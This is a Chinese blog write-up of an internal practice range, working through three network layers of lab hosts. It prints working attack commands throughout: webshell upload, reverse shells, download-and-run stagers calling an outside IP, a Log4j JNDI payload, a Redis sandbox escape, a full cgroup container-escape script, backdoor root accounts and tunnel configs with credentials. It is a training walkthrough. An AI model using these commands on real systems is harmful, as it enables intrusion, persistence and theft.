中移集团内部练兵赛

发现入口存在两台靶机

第一层

靶机一:Linux

信息收集

nmap -T4 -v -A -O 172.16.15.80

img

扫描发现存在8080的apache服务端口访问发现是个wordpress站点

img

目录探测发现存在源码包泄露

img

readme文件泄露文件提示存在文件上传插件

由此根据泄露的源码插件文件和经验和百度的挖掘出当前版本存在Wordpress插件WPFileManager插件任意文件上传远程代码执行漏洞

网上搜集利用脚本直接利用

检测存在漏洞

image-20220422133144196

上传成功shell地址:

http://172.16.15.159:8080/wp-content/plugins/wp-file-manager/lib/php/../files/shell.php

image-20220422133411560

中国蚁剑链接成功,获取站点路径flag

直接执行命令发现执行不了,查看phpinfo发现disable_function禁用了好多函数

image-20220422134121548

使用中国蚁剑插件bypass一下,可以成功执行命令

image-20220422134303626

反弹shell至本地bash -c 'exec bash -i &>/dev/tcp/172.16.15.159/9999 <&1'

通过前面查看站点配置文件发现数据库链接信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// ** MySQL 设置 - 具体信息来自您正在使用的主机 ** //
/** WordPress数据库的名称 */
define( 'DB_NAME', 'wordpress' );

/** MySQL数据库用户名 */
define( 'DB_USER', 'wordpress' );

/** MySQL数据库密码 */
define( 'DB_PASSWORD', 'wordpress@2022' );

/** MySQL主机 */
define( 'DB_HOST', 'localhost' );

/** 创建数据表时默认的文字编码 */
define( 'DB_CHARSET', 'utf8mb4' );

/** 数据库整理类型。如不确定请勿更改 */
define( 'DB_COLLATE', '' );

define('WP_REDIS_CLIENT', 'pecl');
define('WP_REDIS_SCHEME', 'tcp');
define('WP_REDIS_HOST', '172.16.1.50'); // 一般默认为 127.0.0.1
define('WP_REDIS_PASSWORD', 'wordpress');
define('WP_REDIS_DATABASE', '1');
define('WP_CACHE_KEY_SALT', 'wp_');
define('WP_REDIS_MAXTTL', '86400');

直接使用如下命令获取到库中flag

image-20220422163831699

目前是个低权限账户,查看内核版本的uname -a

image-20220422164622310

当前内核版本符合CVE-2022-0847-DirtyPipe-Exploit 提权

上传提权源码

本地路径开启简单http服务 python -m http.server

使用wget下载提权文件

1
2
wget http://172.16.15.159:8000/compile.sh
wget http://172.16.15.159:8000/exploit.c

编译运行成功获取root权限

image-20220423141841932

cat /root/rootflag.txt

新增root管理员账户

useradd -o -u 0 -g root -G root -m -s /bin/bash -p "$(openssl passwd -1 123456)" greetdawn

成功拿下第一台linux 管理员shell

image-20220424133307886

靶机二:windows

信息收集发现存在7001端口,是一个jenkins服务器,猜测中间件为weblogic

image-20220424143428696

image-20220424143453106

下载压缩包文件www.zip 获取flag

访问console到达weblogic管理界面 获取版本为12.2.1.3.0 此版本存在weblogic未授权rce

image-20220424143729915

payload:/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=

image-20220424144120241

getshell思路一:jenkins CVE-2018-1000861

jenkins的版本,发现是2.135,exp地址:https://github.com/orangetw/awesome-jenkins-rce-2019/blob/master/exp.py

python exp.py "http://172.16.15.81:7001/" "powershell IEX (New-Object System.Net.Webclient).DownloadString('http://172.16.15.80/powercat.ps1');powercat -c 172.16.15.80 -p 9998 -e cmd"

getshell思路二:weblogic 未授权RCE CVE-2020-14882

exp地址 https://github.com/backlion/CVE-2020-14882_ALL/

python3 CVE-2020-14882_ALL.py -u "http://172.16.15.81:7001/" -c "whoami"

image-20220424160307599

借助powercat反弹shell,构造payload

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://172.16.15.80:8000/powercat.ps1');powercat -c 172.16.15.80 -p 9999 -e cmd

成功上线

image-20220424160706242

在桌面发现flag

image-20220424160835881

生成cs马 上线cs

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://139.196.234.164:80/a'))"

image-20220424163400341

shell tasklist 查看运行存在向日葵

image-20220428164109684

前期nmap扫描发现存在四万的向日葵接口,猜测可能存在最新的CNVD-2022

image-20220428165118395

抓包的访问接口http://192.168.88.20:49161/cgi-bin/rpc?action=verify-haras获取token

访问接口/check?cmd=ping../../../../../../../../../../../windows/system32/whoami 设置Cookie: CID=Vge3OSfWDQoFpUoH4186hIfQCbzw18Cm

image-20220428173358520

直接是管理员权限,那么利用该漏洞直接提权system

/check?cmd=ping../../../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe IEX (New-Object System.Net.Webclient).DownloadString('http://139.196.234.164:8000/powercat.ps1');powercat -c 139.196.234.164 -p 9988 -e cmd

成功获取管理员权限

上线cs

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://139.196.234.164:80/a'))"

image-20220428174714751

抓取管理员密码cimer@win@2022!!!

image-20220428174904464

查看3389端口未开,开启3389端口

1
2
3
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

成功登陆,在管理员桌面找到flag

image-20220430183828387

第二层

拿下主机权限后,查看网络情况,发现存在172的内网网段

image-20220430184748468

上传dismap内网扫描神器,开撸

扫描发现存在一个172.16.88.50的主机开放了redis服务和apache solr服务

image-20220430185959713

通过第一层linux主机获取的redis连接密码尝试链接

image-20220505100826367

info查看当前redis版本是5.0.7 ,linux系统内核为Linux 5.8.0-48-generic x86_64

根据版本联想到今年最新的redis沙箱漏洞CVE-2022-0543,直接尝试一下拿到主机权限

1
payload:eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ifconfig", "r"); local res = f:read("*a"); f:close(); return res' 0

image-20220505101442615

对apache slor进行log4j2漏洞打一波

由于该服务在内网且不出网所以不方便直接在自己的本地vps开服务。这里直接用第一层拿下的主机开启恶意ldap服务

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuODguMjAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 172.16.88.20

开启监听

1
nc -lvvp 4444

命令注入点

1
http://172.16.88.50:8983/solr/admin/cores?action=${jndi:ldap://172.16.88.20:1389/2jrkzw}

成功上线拿到shell,但是是一个地权限账户

image-20220505133948702

在网站根路径下找到flag /opt/solr/server/solr-webapp/webapp/flag.jsp

image-20220505134256521

这里查看内核版本和sudo看到可以用两种提权方式,这里采用sudo提权

image-20220505134628338

1
sudo find . -exec /bin/bash \;

image-20220505134856775

发现当前solr服务其实也是在docker容器中,尝试最新docker逃逸CVE-2022-0492

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath

#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh

#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi

#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir

将上述编码直接base64后echo进exp中即可,执行直接逃逸成功

image-20220505135748643

获取的宿主机中的flag

image-20220505135854009

直接在宿主机中添加root账户

1
useradd -o -u 0 -g root -G root -m -s /bin/bash -p "$(openssl passwd -1 123456)" greetdawn

成功获取主机,查看网络存在root内层网卡

image-20220505140212371

上传fscan探测一波 10.20.88.0/24

扫描发现内层存在通达OA,且有已知漏洞

image-20220505141152420

由于内层主机跨网段,需要搭建二级代理,由于前期使用了frp作为socket代理,这里继续使用frp做二级代理操作

win2012主机frpc.ini配置

1
2
3
4
5
6
7
8
9
10
[common]
server_addr = 139.196.234.164
server_port = 7766
token = 52010666!@#$

[plugin_socks5_1]
type = tcp
local_ip = 172.16.88.20
remote_port = 12345
local_port = 12345

win2012主机frps.ini配置

1
2
3
4
[common]
bind_addr = 172.16.88.20
bind_port = 7766
allow_ports = 1000-2000

第二层linux主机frpc.ini配置

1
2
3
4
5
6
7
8
[common]
server_addr = 172.16.88.20
server_port = 7766

[plugin_socks5_1]
type = tcp
remote_port= 12345
plugin = socks5

再第二层主机上后台运行frpc

1
nohup ./frpc -c frpc.ini > /dev/null 2>&1 &

第三层

代理成功直接访问到第三层通达服务,直接使用本地exp打一波

image-20220506135859265

直接蚁剑连接,发现直接就是system权限,那就随便梭哈吧!

image-20220506140558258

作者

丨greetdawn丨

发布于

2022-04-27

更新于

2023-05-06

许可协议

评论